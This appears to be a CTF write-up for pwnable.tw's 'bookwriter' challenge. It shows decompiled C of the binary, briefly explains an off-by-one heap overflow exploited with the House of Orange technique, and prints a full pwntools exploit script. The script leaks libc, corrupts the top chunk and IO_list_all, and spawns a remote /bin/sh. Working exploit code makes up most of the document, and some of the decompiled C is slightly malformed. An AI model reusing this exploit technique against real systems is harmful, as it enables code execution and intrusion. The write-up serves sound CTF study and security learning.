ntype.club

bookwriter

Self-publishing my memoirs

int ctr = 0; //0x602040
char author[0x40]; //0x602060
char **notes; //0x6020a0
unsigned long sizes[]; //0x6020e0

void myread(char *loc, int sze)
{
    int vv = read_chk(0, loc, sze, sze);
    if(vv == 0) { puts("read error"); exit(); }
    if(loc[vv-1] == '\n') {
        loc[vv-1] = 0;
    }
}

long localread()
{
    char loc[24];
    myread(loc, 0x10);
    long v = atol(loc);
    return v;
}

void intro()
{
    printf("Author: ");
    myread(author, 0x40);
}

void display()
{
    puts("Bookwriter");
    //...
}

void add_page()
{
    int c1 = 0; //0x14
    char *ptr = 0; //0x10
    int user; //0x08

    //off by one
    while(c1 <= 8) {
        if(notes[c1] == 0) {
            printf("Size of page");
            user = localread();
            ptr = malloc(user);
            if(ptr == 0) {puts("Error"); _exit();}

            printf("Content");
            myread(ptr, user);
            
            notes[c1] = ptr;
            sizes[c1] = user;
            ctr++;
            puts("Done");
            return;
        }
        ++c1;
    }
}

void print_page()
{
    int user; //0x04

    printf("Index of page");
    user = localread();

    if(user > 7) { puts("out of page"); _exit(); }
    if(notes[user] == 0) {puts("not found"); return; }

    printf("Page %u", user);
    printf("Content %s", notes[user]);
    return;
}

void edit_page()
{
    int user; //0x04

    printf("Index of page");
    user = localread();

    if(user > 7) { puts("out of page"); _exit(); }
    if(notes[user] == 0) {puts("not found"); return; }

    printf("Content");
    myread(notes[user], sizes[user]);
    sizes[user] = strlen(notes[user]);
}

void info()
{
    int confirm;

    printf("Author %s", author);
    printf("Page %d", );

    printf("Do you want to change author");
    //this will call malloc
    scanf("%d", confirm);
}

int main()
{
    setvbuf();
    puts("Welcome...");
    
    intro();
    display();
}

There’s an off-by-one bug in add_page, if the first page has a size of zero you can add a ninth page allowing a heap overwrite. Since there is no free the only option is House of Orange.

Since we have no explicit free we have to force malloc to call it for us; overwriting the wilderness size to something tiny (0xef1) and allocating 0x1000 bytes will call sbrk() and free the previous top chunk offering us a libc leak. Overwriting the recently created unsorted bin chunk sets IO_list_all to a main_arena address allowing our crafted virtual table to be called in the malloc abort sequence. It’s a complicated attack to say the least.

from pwn import *
 
#sh = process('./bookwriter')
sh = remote('chall.pwnable.tw', 10304) 

def add_page(sh, size, content):
    sh.sendlineafter('choice :', b'1')
    sh.sendlineafter('page :', str(size).encode('ascii'))
    if(size != 0):
    	sh.sendafter('Content :', content)
 
def edit_page(sh, size, content):
    sh.sendlineafter('choice :', b'3')
    sh.sendlineafter('page :', str(size).encode('ascii'))
    sh.sendafter('Content:', content)

def view_pagenoskip(sh, idx):
    sh.sendlineafter('choice :', b'2')
    sh.sendlineafter('page :', str(idx).encode('ascii'))
    sh.recvuntil('Content :')
    line = sh.recvuntil('-')
    return line
 
def view_page(sh, idx, offset):
    sh.sendlineafter('choice :', b'2')
    sh.sendlineafter('page :', str(idx).encode('ascii'))
    sh.recvuntil('Content :')
    line = sh.recvuntil('-')
    return line[offset:offset+6]
 
sh.sendlineafter('Author :', b'A' * 64)

sh.sendlineafter('choice :', b'4')
sh.sendlineafter('yes:1 / no:0) ', b'0')
 
#create our dummy page
add_page(sh, 0, b'');
#get top of heap to calculate wilderness addr
sh.sendlineafter('choice :', b'4')
sh.recvuntil('Author : ')
leak = sh.recvuntil('Page :')[0x40:]
top = (u32(leak[0:4]));
 
print(hex(top))

sh.sendlineafter('yes:1 / no:0) ', b'0')

#feed the off-by-one bug
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')
add_page(sh, 0x18, b'AAAA')

#now rewrite wilderness size
edit_page(sh, 7, b'A' * 0x18)
edit_page(sh, 7, b'A' * 0x18 + p64(0xef1))
add_page(sh, 0x1000, b'CCCC')
edit_page(sh, 0, b'BBBBBBBB' * 32)
ln = view_pagenoskip(sh, 0)
ln = ln[257:len(ln)-2]
libc = u64(ln + b'\x00' * (8-len(ln)))-0x3c3b78
print("libc", hex(libc))

systm = libc + 0x45390
iolistall = libc + 0x3c4520

unbreakheap = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 2
topfix = p64(0) + p64(0xed1) 

edit_page(sh, 0, unbreakheap + topfix)
add_page(sh, 0x20, b'CCCC')
iooverwrite = p64(0) * 36 + b'/bin/sh\x00' + p64(0x61) + p64(0xdeadbeef) + p64(iolistall-0x10)
iooverwrite += p64(2) + p64(3) + p64(0) * 9 + p64(systm) + p64(0) * 11 + p64(top+0x180) + p64(0)
edit_page(sh, 0, iooverwrite)

sh.interactive()